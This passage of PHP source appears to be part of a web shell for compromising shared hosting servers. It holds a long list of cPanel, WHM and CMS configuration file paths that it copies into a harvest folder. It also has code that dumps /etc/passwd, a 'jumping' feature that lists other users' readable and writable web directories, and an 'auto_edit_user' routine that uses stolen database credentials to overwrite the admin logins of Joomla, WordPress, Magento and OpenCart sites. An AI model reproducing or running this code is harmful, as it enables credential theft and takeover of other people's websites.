2801 "/home1/$usere_cok/public_html/main/configuration.php" => "JoomlaMain",
2802 "/home1/$usere_cok/public_html/Blog/configuration.php" => "JoomlaBlog",
2803 "/home1/$usere_cok/public_html/BLOG/configuration.php" => "JoomlaBlog",
2804 "/home1/$usere_cok/public_html/blog/configuration.php" => "JoomlaBlog",
2805 "/home1/$usere_cok/public_html/Blogs/configuration.php" => "JoomlaBlogs",
2806 "/home1/$usere_cok/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
2807 "/home1/$usere_cok/public_html/blogs/configuration.php" => "JoomlaBlogs",
2808 "/home1/$usere_cok/public_html/beta/configuration.php" => "JoomlaBeta",
2809 "/home1/$usere_cok/public_html/Beta/configuration.php" => "JoomlaBeta",
2810 "/home1/$usere_cok/public_html/BETA/configuration.php" => "JoomlaBeta",
2811 "/home1/$usere_cok/public_html/PRESS/configuration.php" => "JoomlaPress",
2812 "/home1/$usere_cok/public_html/Press/configuration.php" => "JoomlaPress",
2813 "/home1/$usere_cok/public_html/press/configuration.php" => "JoomlaPress",
2814 "/home1/$usere_cok/public_html/Wp/configuration.php" => "JoomlaWp",
2815 "/home1/$usere_cok/public_html/wp/configuration.php" => "JoomlaWp",
2816 "/home1/$usere_cok/public_html/WP/configuration.php" => "JoomlaWP",
2817 "/home1/$usere_cok/public_html/portal/configuration.php" => "JoomlaPortal",
2818 "/home1/$usere_cok/public_html/PORTAL/configuration.php" => "JoomlaPortal",
2819 "/home1/$usere_cok/public_html/Portal/configuration.php" => "JoomlaPortal",
2820 "/home1/$usere_cok/public_html/wp-config.php" => "WordPress",
2821 "/home1/$usere_cok/public_html/wordpress/wp-config.php" => "WordPressWordpress",
2822 "/home1/$usere_cok/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
2823 "/home1/$usere_cok/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
2824 "/home1/$usere_cok/public_html/Home/wp-config.php" => "WordPressHome",
2825 "/home1/$usere_cok/public_html/HOME/wp-config.php" => "WordPressHome",
2826 "/home1/$usere_cok/public_html/home/wp-config.php" => "WordPressHome",
2827 "/home1/$usere_cok/public_html/NEW/wp-config.php" => "WordPressNew",
2828 "/home1/$usere_cok/public_html/New/wp-config.php" => "WordPressNew",
2829 "/home1/$usere_cok/public_html/new/wp-config.php" => "WordPressNew",
2830 "/home1/$usere_cok/public_html/News/wp-config.php" => "WordPressNews",
2831 "/home1/$usere_cok/public_html/NEWS/wp-config.php" => "WordPressNews",
2832 "/home1/$usere_cok/public_html/news/wp-config.php" => "WordPressNews",
2833 "/home1/$usere_cok/public_html/Cms/wp-config.php" => "WordPressCms",
2834 "/home1/$usere_cok/public_html/CMS/wp-config.php" => "WordPressCms",
2835 "/home1/$usere_cok/public_html/cms/wp-config.php" => "WordPressCms",
2836 "/home1/$usere_cok/public_html/Main/wp-config.php" => "WordPressMain",
2837 "/home1/$usere_cok/public_html/MAIN/wp-config.php" => "WordPressMain",
2838 "/home1/$usere_cok/public_html/main/wp-config.php" => "WordPressMain",
2839 "/home1/$usere_cok/public_html/Blog/wp-config.php" => "WordPressBlog",
2840 "/home1/$usere_cok/public_html/BLOG/wp-config.php" => "WordPressBlog",
2841 "/home1/$usere_cok/public_html/blog/wp-config.php" => "WordPressBlog",
2842 "/home1/$usere_cok/public_html/Blogs/wp-config.php" => "WordPressBlogs",
2843 "/home1/$usere_cok/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
2844 "/home1/$usere_cok/public_html/blogs/wp-config.php" => "WordPressBlogs",
2845 "/home1/$usere_cok/public_html/beta/wp-config.php" => "WordPressBeta",
2846 "/home1/$usere_cok/public_html/Beta/wp-config.php" => "WordPressBeta",
2847 "/home1/$usere_cok/public_html/BETA/wp-config.php" => "WordPressBeta",
2848 "/home1/$usere_cok/public_html/PRESS/wp-config.php" => "WordPressPress",
2849 "/home1/$usere_cok/public_html/Press/wp-config.php" => "WordPressPress",
2850 "/home1/$usere_cok/public_html/press/wp-config.php" => "WordPressPress",
2851 "/home1/$usere_cok/public_html/Wp/wp-config.php" => "WordPressWp",
2852 "/home1/$usere_cok/public_html/wp/wp-config.php" => "WordPressWp",
2853 "/home1/$usere_cok/public_html/WP/wp-config.php" => "WordPressWP",
2854 "/home1/$usere_cok/public_html/portal/wp-config.php" => "WordPressPortal",
2855 "/home1/$usere_cok/public_html/PORTAL/wp-config.php" => "WordPressPortal",
2856 "/home1/$usere_cok/public_html/Portal/wp-config.php" => "WordPressPortal",
2857 "/home2/$usere_cok/.my.cnf" => "cpanel",
2858 "/home2/$usere_cok/.accesshash" => "WHM-accesshash",
2859 "/home2/$usere_cok/public_html/bw-configs/config.ini" => "BosWeb",
2860 "/home2/$usere_cok/public_html/config/koneksi.php" => "Lokomedia",
2861 "/home2/$usere_cok/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
2862 "/home2/$usere_cok/public_html/clientarea/configuration.php" => "WHMCS",
2863 "/home2/$usere_cok/public_html/whmcs/configuration.php" => "WHMCS",
2864 "/home2/$usere_cok/public_html/forum/config.php" => "phpBB",
2865 "/home2/$usere_cok/public_html/sites/default/settings.php" => "Drupal",
2866 "/home2/$usere_cok/public_html/config/settings.inc.php" => "PrestaShop",
2867 "/home2/$usere_cok/public_html/app/etc/local.xml" => "Magento",
2868 "/home2/$usere_cok/public_html/admin/config.php" => "OpenCart",
2869 "/home2/$usere_cok/public_html/slconfig.php" => "Sitelok",
2870 "/home2/$usere_cok/public_html/application/config/database.php" => "Ellislab",
2871 "/home2/$usere_cok/public_html/whm/configuration.php" => "WHMCS",
2872 "/home2/$usere_cok/public_html/whmc/WHM/configuration.ph" => "WHMC",
2873 "/home2/$usere_cok/public_html/central/configuration.php" => "WHM Central",
2874 "/home2/$usere_cok/public_html/whm/WHMCS/configuration.php" => "WHMCS",
2875 "/home2/$usere_cok/public_html/whm/whmcs/configuration.php" => "WHMCS",
2876 "/home2/$usere_cok/public_html/submitticket.php" => "WHMCS",
2877 "/home2/$usere_cok/public_html/configuration.php" => "Joomla",
2878 "/home2/$usere_cok/public_html/Joomla/configuration.php" => "JoomlaJoomla",
2879 "/home2/$usere_cok/public_html/joomla/configuration.php" => "JoomlaJoomla",
2880 "/home2/$usere_cok/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
2881 "/home2/$usere_cok/public_html/Home/configuration.php" => "JoomlaHome",
2882 "/home2/$usere_cok/public_html/HOME/configuration.php" => "JoomlaHome",
2883 "/home2/$usere_cok/public_html/home/configuration.php" => "JoomlaHome",
2884 "/home2/$usere_cok/public_html/NEW/configuration.php" => "JoomlaNew",
2885 "/home2/$usere_cok/public_html/New/configuration.php" => "JoomlaNew",
2886 "/home2/$usere_cok/public_html/new/configuration.php" => "JoomlaNew",
2887 "/home2/$usere_cok/public_html/News/configuration.php" => "JoomlaNews",
2888 "/home2/$usere_cok/public_html/NEWS/configuration.php" => "JoomlaNews",
2889 "/home2/$usere_cok/public_html/news/configuration.php" => "JoomlaNews",
2890 "/home2/$usere_cok/public_html/Cms/configuration.php" => "JoomlaCms",
2891 "/home2/$usere_cok/public_html/CMS/configuration.php" => "JoomlaCms",
2892 "/home2/$usere_cok/public_html/cms/configuration.php" => "JoomlaCms",
2893 "/home2/$usere_cok/public_html/Main/configuration.php" => "JoomlaMain",
2894 "/home2/$usere_cok/public_html/MAIN/configuration.php" => "JoomlaMain",
2895 "/home2/$usere_cok/public_html/main/configuration.php" => "JoomlaMain",
2896 "/home2/$usere_cok/public_html/Blog/configuration.php" => "JoomlaBlog",
2897 "/home2/$usere_cok/public_html/BLOG/configuration.php" => "JoomlaBlog",
2898 "/home2/$usere_cok/public_html/blog/configuration.php" => "JoomlaBlog",
2899 "/home2/$usere_cok/public_html/Blogs/configuration.php" => "JoomlaBlogs",
2900 "/home2/$usere_cok/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
2901 "/home2/$usere_cok/public_html/blogs/configuration.php" => "JoomlaBlogs",
2902 "/home2/$usere_cok/public_html/beta/configuration.php" => "JoomlaBeta",
2903 "/home2/$usere_cok/public_html/Beta/configuration.php" => "JoomlaBeta",
2904 "/home2/$usere_cok/public_html/BETA/configuration.php" => "JoomlaBeta",
2905 "/home2/$usere_cok/public_html/PRESS/configuration.php" => "JoomlaPress",
2906 "/home2/$usere_cok/public_html/Press/configuration.php" => "JoomlaPress",
2907 "/home2/$usere_cok/public_html/press/configuration.php" => "JoomlaPress",
2908 "/home2/$usere_cok/public_html/Wp/configuration.php" => "JoomlaWp",
2909 "/home2/$usere_cok/public_html/wp/configuration.php" => "JoomlaWp",
2910 "/home2/$usere_cok/public_html/WP/configuration.php" => "JoomlaWP",
2911 "/home2/$usere_cok/public_html/portal/configuration.php" => "JoomlaPortal",
2912 "/home2/$usere_cok/public_html/PORTAL/configuration.php" => "JoomlaPortal",
2913 "/home2/$usere_cok/public_html/Portal/configuration.php" => "JoomlaPortal",
2914 "/home2/$usere_cok/public_html/wp-config.php" => "WordPress",
2915 "/home2/$usere_cok/public_html/wordpress/wp-config.php" => "WordPressWordpress",
2916 "/home2/$usere_cok/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
2917 "/home2/$usere_cok/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
2918 "/home2/$usere_cok/public_html/Home/wp-config.php" => "WordPressHome",
2919 "/home2/$usere_cok/public_html/HOME/wp-config.php" => "WordPressHome",
2920 "/home2/$usere_cok/public_html/home/wp-config.php" => "WordPressHome",
2921 "/home2/$usere_cok/public_html/NEW/wp-config.php" => "WordPressNew",
2922 "/home2/$usere_cok/public_html/New/wp-config.php" => "WordPressNew",
2923 "/home2/$usere_cok/public_html/new/wp-config.php" => "WordPressNew",
2924 "/home2/$usere_cok/public_html/News/wp-config.php" => "WordPressNews",
2925 "/home2/$usere_cok/public_html/NEWS/wp-config.php" => "WordPressNews",
2926 "/home2/$usere_cok/public_html/news/wp-config.php" => "WordPressNews",
2927 "/home2/$usere_cok/public_html/Cms/wp-config.php" => "WordPressCms",
2928 "/home2/$usere_cok/public_html/CMS/wp-config.php" => "WordPressCms",
2929 "/home2/$usere_cok/public_html/cms/wp-config.php" => "WordPressCms",
2930 "/home2/$usere_cok/public_html/Main/wp-config.php" => "WordPressMain",
2931 "/home2/$usere_cok/public_html/MAIN/wp-config.php" => "WordPressMain",
2932 "/home2/$usere_cok/public_html/main/wp-config.php" => "WordPressMain",
2933 "/home2/$usere_cok/public_html/Blog/wp-config.php" => "WordPressBlog",
2934 "/home2/$usere_cok/public_html/BLOG/wp-config.php" => "WordPressBlog",
2935 "/home2/$usere_cok/public_html/blog/wp-config.php" => "WordPressBlog",
2936 "/home2/$usere_cok/public_html/Blogs/wp-config.php" => "WordPressBlogs",
2937 "/home2/$usere_cok/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
2938 "/home2/$usere_cok/public_html/blogs/wp-config.php" => "WordPressBlogs",
2939 "/home2/$usere_cok/public_html/beta/wp-config.php" => "WordPressBeta",
2940 "/home2/$usere_cok/public_html/Beta/wp-config.php" => "WordPressBeta",
2941 "/home2/$usere_cok/public_html/BETA/wp-config.php" => "WordPressBeta",
2942 "/home2/$usere_cok/public_html/PRESS/wp-config.php" => "WordPressPress",
2943 "/home2/$usere_cok/public_html/Press/wp-config.php" => "WordPressPress",
2944 "/home2/$usere_cok/public_html/press/wp-config.php" => "WordPressPress",
2945 "/home2/$usere_cok/public_html/Wp/wp-config.php" => "WordPressWp",
2946 "/home2/$usere_cok/public_html/wp/wp-config.php" => "WordPressWp",
2947 "/home2/$usere_cok/public_html/WP/wp-config.php" => "WordPressWP",
2948 "/home2/$usere_cok/public_html/portal/wp-config.php" => "WordPressPortal",
2949 "/home2/$usere_cok/public_html/PORTAL/wp-config.php" => "WordPressPortal",
2950 "/home2/$usere_cok/public_html/Portal/wp-config.php" => "WordPressPortal",
2951 "/home3/$usere_cok/.my.cnf" => "cpanel",
2952 "/home3/$usere_cok/.accesshash" => "WHM-accesshash",
2953 "/home3/$usere_cok/public_html/bw-configs/config.ini" => "BosWeb",
2954 "/home3/$usere_cok/public_html/config/koneksi.php" => "Lokomedia",
2955 "/home3/$usere_cok/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
2956 "/home3/$usere_cok/public_html/clientarea/configuration.php" => "WHMCS",
2957 "/home3/$usere_cok/public_html/whmcs/configuration.php" => "WHMCS",
2958 "/home3/$usere_cok/public_html/forum/config.php" => "phpBB",
2959 "/home3/$usere_cok/public_html/sites/default/settings.php" => "Drupal",
2960 "/home3/$usere_cok/public_html/config/settings.inc.php" => "PrestaShop",
2961 "/home3/$usere_cok/public_html/app/etc/local.xml" => "Magento",
2962 "/home3/$usere_cok/public_html/admin/config.php" => "OpenCart",
2963 "/home3/$usere_cok/public_html/slconfig.php" => "Sitelok",
2964 "/home3/$usere_cok/public_html/application/config/database.php" => "Ellislab",
2965 "/home3/$usere_cok/public_html/whm/configuration.php" => "WHMCS",
2966 "/home3/$usere_cok/public_html/whmc/WHM/configuration.ph" => "WHMC",
2967 "/home3/$usere_cok/public_html/central/configuration.php" => "WHM Central",
2968 "/home3/$usere_cok/public_html/whm/WHMCS/configuration.php" => "WHMCS",
2969 "/home3/$usere_cok/public_html/whm/whmcs/configuration.php" => "WHMCS",
2970 "/home3/$usere_cok/public_html/submitticket.php" => "WHMCS",
2971 "/home3/$usere_cok/public_html/configuration.php" => "Joomla",
2972 "/home3/$usere_cok/public_html/Joomla/configuration.php" => "JoomlaJoomla",
2973 "/home3/$usere_cok/public_html/joomla/configuration.php" => "JoomlaJoomla",
2974 "/home3/$usere_cok/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
2975 "/home3/$usere_cok/public_html/Home/configuration.php" => "JoomlaHome",
2976 "/home3/$usere_cok/public_html/HOME/configuration.php" => "JoomlaHome",
2977 "/home3/$usere_cok/public_html/home/configuration.php" => "JoomlaHome",
2978 "/home3/$usere_cok/public_html/NEW/configuration.php" => "JoomlaNew",
2979 "/home3/$usere_cok/public_html/New/configuration.php" => "JoomlaNew",
2980 "/home3/$usere_cok/public_html/new/configuration.php" => "JoomlaNew",
2981 "/home3/$usere_cok/public_html/News/configuration.php" => "JoomlaNews",
2982 "/home3/$usere_cok/public_html/NEWS/configuration.php" => "JoomlaNews",
2983 "/home3/$usere_cok/public_html/news/configuration.php" => "JoomlaNews",
2984 "/home3/$usere_cok/public_html/Cms/configuration.php" => "JoomlaCms",
2985 "/home3/$usere_cok/public_html/CMS/configuration.php" => "JoomlaCms",
2986 "/home3/$usere_cok/public_html/cms/configuration.php" => "JoomlaCms",
2987 "/home3/$usere_cok/public_html/Main/configuration.php" => "JoomlaMain",
2988 "/home3/$usere_cok/public_html/MAIN/configuration.php" => "JoomlaMain",
2989 "/home3/$usere_cok/public_html/main/configuration.php" => "JoomlaMain",
2990 "/home3/$usere_cok/public_html/Blog/configuration.php" => "JoomlaBlog",
2991 "/home3/$usere_cok/public_html/BLOG/configuration.php" => "JoomlaBlog",
2992 "/home3/$usere_cok/public_html/blog/configuration.php" => "JoomlaBlog",
2993 "/home3/$usere_cok/public_html/Blogs/configuration.php" => "JoomlaBlogs",
2994 "/home3/$usere_cok/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
2995 "/home3/$usere_cok/public_html/blogs/configuration.php" => "JoomlaBlogs",
2996 "/home3/$usere_cok/public_html/beta/configuration.php" => "JoomlaBeta",
2997 "/home3/$usere_cok/public_html/Beta/configuration.php" => "JoomlaBeta",
2998 "/home3/$usere_cok/public_html/BETA/configuration.php" => "JoomlaBeta",
2999 "/home3/$usere_cok/public_html/PRESS/configuration.php" => "JoomlaPress",
3000 "/home3/$usere_cok/public_html/Press/configuration.php" => "JoomlaPress",
3001 "/home3/$usere_cok/public_html/press/configuration.php" => "JoomlaPress",
3002 "/home3/$usere_cok/public_html/Wp/configuration.php" => "JoomlaWp",
3003 "/home3/$usere_cok/public_html/wp/configuration.php" => "JoomlaWp",
3004 "/home3/$usere_cok/public_html/WP/configuration.php" => "JoomlaWP",
3005 "/home3/$usere_cok/public_html/portal/configuration.php" => "JoomlaPortal",
3006 "/home3/$usere_cok/public_html/PORTAL/configuration.php" => "JoomlaPortal",
3007 "/home3/$usere_cok/public_html/Portal/configuration.php" => "JoomlaPortal",
3008 "/home3/$usere_cok/public_html/wp-config.php" => "WordPress",
3009 "/home3/$usere_cok/public_html/wordpress/wp-config.php" => "WordPressWordpress",
3010 "/home3/$usere_cok/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
3011 "/home3/$usere_cok/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
3012 "/home3/$usere_cok/public_html/Home/wp-config.php" => "WordPressHome",
3013 "/home3/$usere_cok/public_html/HOME/wp-config.php" => "WordPressHome",
3014 "/home3/$usere_cok/public_html/home/wp-config.php" => "WordPressHome",
3015 "/home3/$usere_cok/public_html/NEW/wp-config.php" => "WordPressNew",
3016 "/home3/$usere_cok/public_html/New/wp-config.php" => "WordPressNew",
3017 "/home3/$usere_cok/public_html/new/wp-config.php" => "WordPressNew",
3018 "/home3/$usere_cok/public_html/News/wp-config.php" => "WordPressNews",
3019 "/home3/$usere_cok/public_html/NEWS/wp-config.php" => "WordPressNews",
3020 "/home3/$usere_cok/public_html/news/wp-config.php" => "WordPressNews",
3021 "/home3/$usere_cok/public_html/Cms/wp-config.php" => "WordPressCms",
3022 "/home3/$usere_cok/public_html/CMS/wp-config.php" => "WordPressCms",
3023 "/home3/$usere_cok/public_html/cms/wp-config.php" => "WordPressCms",
3024 "/home3/$usere_cok/public_html/Main/wp-config.php" => "WordPressMain",
3025 "/home3/$usere_cok/public_html/MAIN/wp-config.php" => "WordPressMain",
3026 "/home3/$usere_cok/public_html/main/wp-config.php" => "WordPressMain",
3027 "/home3/$usere_cok/public_html/Blog/wp-config.php" => "WordPressBlog",
3028 "/home3/$usere_cok/public_html/BLOG/wp-config.php" => "WordPressBlog",
3029 "/home3/$usere_cok/public_html/blog/wp-config.php" => "WordPressBlog",
3030 "/home3/$usere_cok/public_html/Blogs/wp-config.php" => "WordPressBlogs",
3031 "/home3/$usere_cok/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
3032 "/home3/$usere_cok/public_html/blogs/wp-config.php" => "WordPressBlogs",
3033 "/home3/$usere_cok/public_html/beta/wp-config.php" => "WordPressBeta",
3034 "/home3/$usere_cok/public_html/Beta/wp-config.php" => "WordPressBeta",
3035 "/home3/$usere_cok/public_html/BETA/wp-config.php" => "WordPressBeta",
3036 "/home3/$usere_cok/public_html/PRESS/wp-config.php" => "WordPressPress",
3037 "/home3/$usere_cok/public_html/Press/wp-config.php" => "WordPressPress",
3038 "/home3/$usere_cok/public_html/press/wp-config.php" => "WordPressPress",
3039 "/home3/$usere_cok/public_html/Wp/wp-config.php" => "WordPressWp",
3040 "/home3/$usere_cok/public_html/wp/wp-config.php" => "WordPressWp",
3041 "/home3/$usere_cok/public_html/WP/wp-config.php" => "WordPressWP",
3042 "/home3/$usere_cok/public_html/portal/wp-config.php" => "WordPressPortal",
3043 "/home3/$usere_cok/public_html/PORTAL/wp-config.php" => "WordPressPortal",
3044 "/home3/$usere_cok/public_html/Portal/wp-config.php" => "WordPressPortal"
3045 );
3046 foreach($grab_config as $config => $nama_config) {
3047 $ambil_config = file_get_contents($config);
3048 if($ambil_config == '') {
3049 } else {
3050 $file_config = fopen("m1x_config1/$usere_cok-$nama_config.txt","w");
3051 fputs($file_config,$ambil_config);
3052 }
3053 }
3054 }
3055 }
3056 echo "<center><a href='?dir=$dir/m1x_config1'><font color=lime>Done</font></a></center>";
3057 }else{
3058
3059 echo "<form method=\"post\" action=\"\"><center>/etc/passwd/ ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
3060 echo file_get_contents('/etc/passwd');
3061 echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
3062 }
3063} elseif($_GET['do'] == 'jumping') {
3064 $i = 0;
3065 echo "<div class='margin: 5px auto;'>";
3066 if(preg_match("/hsphere/", $dir)) {
3067 $urls = explode("\r\n", $_POST['url']);
3068 if(isset($_POST['jump'])) {
3069 echo "<pre>";
3070 foreach($urls as $url) {
3071 $url = str_replace(array("http://","www."), "", strtolower($url));
3072 $etc = "/etc/passwd";
3073 $f = fopen($etc,"r");
3074 while($gets = fgets($f)) {
3075 $pecah = explode(":", $gets);
3076 $user = $pecah[0];
3077 $dir_user = "/hsphere/local/home/$user";
3078 if(is_dir($dir_user) === true) {
3079 $url_user = $dir_user."/".$url;
3080 if(is_readable($url_user)) {
3081 $i++;
3082 $jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
3083 if(is_writable($url_user)) {
3084 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
3085 }
3086 echo $jrw."<br>";
3087 }
3088 }
3089 }
3090 }
3091 if($i == 0) {
3092 } else {
3093 echo "<br>Total ada ".$i." Kimcil di ".$ip;
3094 }
3095 echo "</pre>";
3096 } else {
3097 echo '<center>
3098 <form method="post">
3099 List Domains: <br>
3100 <textarea name="url" style="width: 500px; height: 250px;">';
3101 $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
3102 while($getss = fgets($fp)) {
3103 echo $getss;
3104 }
3105 echo '</textarea><br>
3106 <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
3107 </form></center>';
3108 }
3109 } elseif(preg_match("/vhosts/", $dir)) {
3110 $urls = explode("\r\n", $_POST['url']);
3111 if(isset($_POST['jump'])) {
3112 echo "<pre>";
3113 foreach($urls as $url) {
3114 $web_vh = "/var/www/vhosts/$url/httpdocs";
3115 if(is_dir($web_vh) === true) {
3116 if(is_readable($web_vh)) {
3117 $i++;
3118 $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
3119 if(is_writable($web_vh)) {
3120 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
3121 }
3122 echo $jrw."<br>";
3123 }
3124 }
3125 }
3126 if($i == 0) {
3127 } else {
3128 echo "<br>Total ada ".$i." Kimcil di ".$ip;
3129 }
3130 echo "</pre>";
3131 } else {
3132 echo '<center>
3133 <form method="post">
3134 List Domains: <br>
3135 <textarea name="url" style="width: 500px; height: 250px;">';
3136 bing("ip:$ip");
3137 echo '</textarea><br>
3138 <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
3139 </form></center>';
3140 }
3141 } else {
3142 echo "<pre>";
3143 $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
3144 while($passwd = fgets($etc)) {
3145 if($passwd == '' || !$etc) {
3146 echo "<font color=red>Can't read /etc/passwd</font>";
3147 } else {
3148 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
3149 foreach($user_jumping[1] as $user_idx_jump) {
3150 $user_jumping_dir = "/home/$user_idx_jump/public_html";
3151 if(is_readable($user_jumping_dir)) {
3152 $i++;
3153 $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
3154 if(is_writable($user_jumping_dir)) {
3155 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
3156 }
3157 echo $jrw;
3158 if(function_exists('posix_getpwuid')) {
3159 $domain_jump = file_get_contents("/etc/named.conf");
3160 if($domain_jump == '') {
3161 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
3162 } else {
3163 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
3164 foreach($domains_jump[1] as $dj) {
3165 $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
3166 $user_jumping_url = $user_jumping_url['name'];
3167 if($user_jumping_url == $user_idx_jump) {
3168 echo " => ( <u>$dj</u> )<br>";
3169 break;
3170 }
3171 }
3172 }
3173 } else {
3174 echo "<br>";
3175 }
3176 }
3177 }
3178 }
3179 }
3180 if($i == 0) {
3181 } else {
3182 echo "<br>Total ada ".$i." Kimcil di ".$ip;
3183 }
3184 echo "</pre>";
3185 }
3186 echo "</div>";
3187} elseif($_GET['do'] == 'auto_edit_user') {
3188 if($_POST['hajar']) {
3189 if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
3190 echo "username atau password harus lebih dari 6 karakter";
3191 } else {
3192 $user_baru = $_POST['user_baru'];
3193 $pass_baru = md5($_POST['pass_baru']);
3194 $conf = $_POST['config_dir'];
3195 $scan_conf = scandir($conf);
3196 foreach($scan_conf as $file_conf) {
3197 if(!is_file("$conf/$file_conf")) continue;
3198 $config = file_get_contents("$conf/$file_conf");
3199 if(preg_match("/JConfig|joomla/",$config)) {
3200 $dbhost = ambilkata($config,"host = '","'");
3201 $dbuser = ambilkata($config,"user = '","'");
3202 $dbpass = ambilkata($config,"password = '","'");
3203 $dbname = ambilkata($config,"db = '","'");
3204 $dbprefix = ambilkata($config,"dbprefix = '","'");
3205 $prefix = $dbprefix."users";
3206 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
3207 $db = mysql_select_db($dbname);
3208 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
3209 $result = mysql_fetch_array($q);
3210 $id = $result['id'];
3211 $site = ambilkata($config,"sitename = '","'");
3212 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
3213 echo "Config => ".$file_conf."<br>";
3214 echo "CMS => Joomla<br>";
3215 if($site == '') {
3216 echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
3217 } else {
3218 echo "Sitename => $site<br>";
3219 }
3220 if(!$update OR !$conn OR !$db) {
3221 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
3222 } else {
3223 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
3224 }
3225 mysql_close($conn);
3226 } elseif(preg_match("/WordPress/",$config)) {
3227 $dbhost = ambilkata($config,"DB_HOST', '","'");
3228 $dbuser = ambilkata($config,"DB_USER', '","'");
3229 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
3230 $dbname = ambilkata($config,"DB_NAME', '","'");
3231 $dbprefix = ambilkata($config,"table_prefix = '","'");
3232 $prefix = $dbprefix."users";
3233 $option = $dbprefix."options";
3234 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
3235 $db = mysql_select_db($dbname);
3236 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
3237 $result = mysql_fetch_array($q);
3238 $id = $result[ID];
3239 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
3240 $result2 = mysql_fetch_array($q2);
3241 $target = $result2[option_value];
3242 if($target == '') {
3243 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
3244 } else {
3245 $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
3246 }
3247 $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
3248 echo "Config => ".$file_conf."<br>";
3249 echo "CMS => Wordpress<br>";
3250 echo $url_target;
3251 if(!$update OR !$conn OR !$db) {
3252 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
3253 } else {
3254 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
3255 }
3256 mysql_close($conn);
3257 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
3258 $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
3259 $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
3260 $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
3261 $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
3262 $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
3263 $prefix = $dbprefix."admin_user";
3264 $option = $dbprefix."core_config_data";
3265 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
3266 $db = mysql_select_db($dbname);
3267 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
3268 $result = mysql_fetch_array($q);
3269 $id = $result[user_id];
3270 $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
3271 $result2 = mysql_fetch_array($q2);
3272 $target = $result2[value];
3273 if($target == '') {
3274 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
3275 } else {
3276 $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
3277 }
3278 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
3279 echo "Config => ".$file_conf."<br>";
3280 echo "CMS => Magento<br>";
3281 echo $url_target;
3282 if(!$update OR !$conn OR !$db) {
3283 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
3284 } else {
3285 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
3286 }
3287 mysql_close($conn);
3288 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
3289 $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
3290 $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
3291 $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
3292 $dbname = ambilkata($config,"'DB_DATABASE', '","'");
3293 $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
3294 $prefix = $dbprefix."user";
